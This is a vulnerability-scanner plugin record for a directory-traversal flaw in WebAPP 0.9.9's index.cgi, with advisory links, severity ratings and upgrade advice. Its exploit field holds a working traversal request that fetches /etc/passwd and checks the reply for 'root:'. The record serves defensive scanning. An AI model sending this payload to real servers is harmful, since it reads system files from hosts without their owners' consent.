| Plugin ID | 179 |
| Plugin name | WebAPP 0.9.9 index.cgi Directory Traversal |
| Plugin filename | WebAPP 0.9.9 index.cgi Directory Traversal.plugin |
| Plugin filesize | 3354 bytes |
| Plugin family | CGI |
| Plugin created name | Marc Ruef |
| Plugin created email | marc dot ruef at computec dot ch |
| Plugin created web | http://www.computec.ch |
| Plugin created company | computec.ch |
| Plugin created date | 2004/09/08 |
| Plugin updated name | Marc Ruef |
| Plugin updated email | marc dot ruef at computec dot ch |
| Plugin updated web | http://www.computec.ch |
| Plugin updated company | computec.ch |
| Plugin updated date | 2004/11/14 |
| Plugin version | 2.0 |
| Plugin changelog | Corrected the plugin structure and added the accuracy values in 1.1. Improved the pattern matching and introduced the plugin changelog in 2.0 |
| Plugin protocol | tcp |
| Plugin port | 80 |
| Plugin procedure exploit | open|send GET /index.cgi?action=topics&viewcat=../../../../../../../etc/passwd HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#.# ### *root:* |
| Plugin exploit accuracy | 99 |
| Plugin comment | Check is inspired by the Nessus plugin. |
| Bug published name | J�r�me Athias |
| Bug published email | jerome dot athias at caramail dot com |
| Bug published date | 2004/08/30 |
| Bug advisory | http://www.securityfocus.com/archive/1/372731 |
| Bug affected | WebAPP 0.9.9 |
| Bug not affected | WebAPP newer than 0.9.9 or other solutions |
| Bug vulnerability class | Directory Traversal |
| Bug description | The remote host is running WebAPP, an open-source web portal application written in perl. There is a bug in index.cgi of version 0.9.9 which makes it vulnerable to directory traversal attacks. An attacker may use this bug to fetch files from the target system. |
| Bug solution | You should install or upgrade the software to the latest version. See http://www.web-app.org for more details. Also limit unwanted connections and communications with firewalling if possible. |
| Bug fixing time | Approx. 1 hour |
| Bug exploit availability | Yes |
| Bug exploit url | http://www.securityfocus.com/bid/11028/exploit/ |
| Bug remote | Yes |
| Bug local | Yes |
| Bug severity | High |
| Bug popularity | 6 |
| Bug simplicity | 7 |
| Bug impact | 8 |
| Bug risk | 7 |
| Bug Nessus risk | Medium |
| Bug check tools | Nessus is able to do the same check. The possibilities of exploiting this kind of vulnerabilities is well-known and well documented. |
| Source SecurityFocus BID | 11028 |
| Source Nessus ID | 14365 |
| Source Literature | Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427 |
| Source Misc. | http://www.computec.ch |